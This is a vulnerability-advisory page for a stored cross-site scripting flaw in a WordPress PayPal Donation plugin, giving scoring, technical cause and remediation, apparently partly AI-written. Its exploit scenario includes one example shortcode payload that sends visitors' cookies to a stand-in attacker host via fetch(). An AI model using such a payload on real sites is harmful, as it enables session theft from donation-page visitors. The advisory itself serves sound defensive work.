Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | The CVSS 3.1 vector (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N) indicates network-accessible exploitation with low complexity requiring low privileges (Contributor role) and no user interaction, with scope change and limited confidentiality and integrity impacts. The attack requires authenticated access, which reduces opportunistic exploitation but increases insider threat risk. The vulnerability is confirmed via source code analysis from the official WordPress plugin repository (Wordfence intelligence source), indicating high reliability of the technical details. The lack of denial-of-service capability (A:N) limits severity compared to other XSS flaws. Real-world risk is elevated because the plugin targets WordPress websites handling financial donations, making compromised pages attractive attack vectors for credential harvesting or malware distribution. The stored nature of the XSS means persistent compromise of any page using the vulnerable shortcode until remediated. |
| Exploit ScenarioDerived | A malicious Contributor user (such as a compromised or disgruntled staff account) edits a page containing the PayPal donation shortcode and modifies the 'amount' parameter to include malicious JavaScript, for example: [paypal_donation amount='100' onclick='fetch("https://attacker.com/steal?c="+document.cookie)'], or injects a script tag within a single-quoted attribute context. When legitimate visitors access the page to make a donation, the injected JavaScript executes in their browser context with the same privileges as the website, allowing credential theft, session hijacking, or redirect to phishing pages. Since this is a stored XSS, the attack persists indefinitely until the page is corrected, compromising all subsequent visitors. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 21, 2026
A Stored Cross-Site Scripting (XSS) vulnerability exists in the WordPress PayPal Donation plugin (all versions up to and including 1.01) due to insufficient input sanitization and output escaping in shortcode attribute handling. Authenticated attackers with Contributor-level access or above can inject arbitrary JavaScript code through malicious shortcode attributes that will execute for all users viewing the affected pages. With a CVSS score of 6.4 and confirmed vulnerability details available through Wordfence and WordPress plugin repository source code analysis, this represents a moderate but practical risk to WordPress installations using this plugin.
RemediationAI
The primary remediation is to update the WordPress PayPal Donation plugin to a patched version once available from the plugin developer. Users should check the WordPress plugin repository for an updated release that properly escapes shortcode attributes using WordPress-standard functions like esc_attr() and esc_url(). Until a patch is released, site administrators should either disable the plugin entirely or restrict the creation and editing of pages containing PayPal Donation shortcodes to trusted administrators only by limiting Contributor role capabilities through role management plugins. Additionally, implement Web Application Firewall (WAF) rules to detect and block script injection attempts in shortcode parameters, and monitor the WordPress plugin repository and Wordfence for patch notifications at https://www.wordfence.com/threat-intel/vulnerabilities/id/99a8b48b-2967-4179-a0eb-626bbe273f03.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability stems from improper handling of shortcode attributes in the wordpress_paypal_donation_create() function, which violates CWE-79 (Improper Neutralization of Input During Web Page Generation). The vulnerable code uses extract(shortcode_atts(...)) to process user-supplied shortcode parameters including 'amount', 'email', 'title', 'return_url', 'cancel_url', 'ccode', and 'image', then directly interpolates these values into HTML single-quoted attribute values without applying WordPress escaping functions such as esc_attr() or esc_url(). This allows attackers to break out of attribute context and inject arbitrary HTML and JavaScript. The affected product is the WordPress PayPal Donation plugin by tstachl, identified via CPE cpe:2.3:a:tstachl:wordpress_paypal_donation:*:*:*:*:*:*:*:*, which is distributed through the official WordPress plugin repository.
Know when Wordpress Paypal Donation gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
The WordPress PayPal Donation plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'donate' shortcode in all versions up to, and including, 1.01. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes such as 'amount', 'email', 'title', 'return_url', 'cancel_url', 'ccode', and 'image'. The wordpress_paypal_donation_create() function uses extract(shortcode_atts(...)) to process shortcode attributes and then directly interpolates these values into HTML output within single-quoted attribute values without any escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
Executive ViewAI
Organizations using all should be aware of moderate risk from CVE-2026-4072, a cross-site scripting vulnerability rated CVSS 6.4. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Organizations should apply vendor updates when available and monitor for exploitation.
Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
EUVD-2026-14177
GHSA-jxp3-mpj8-9vw7
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB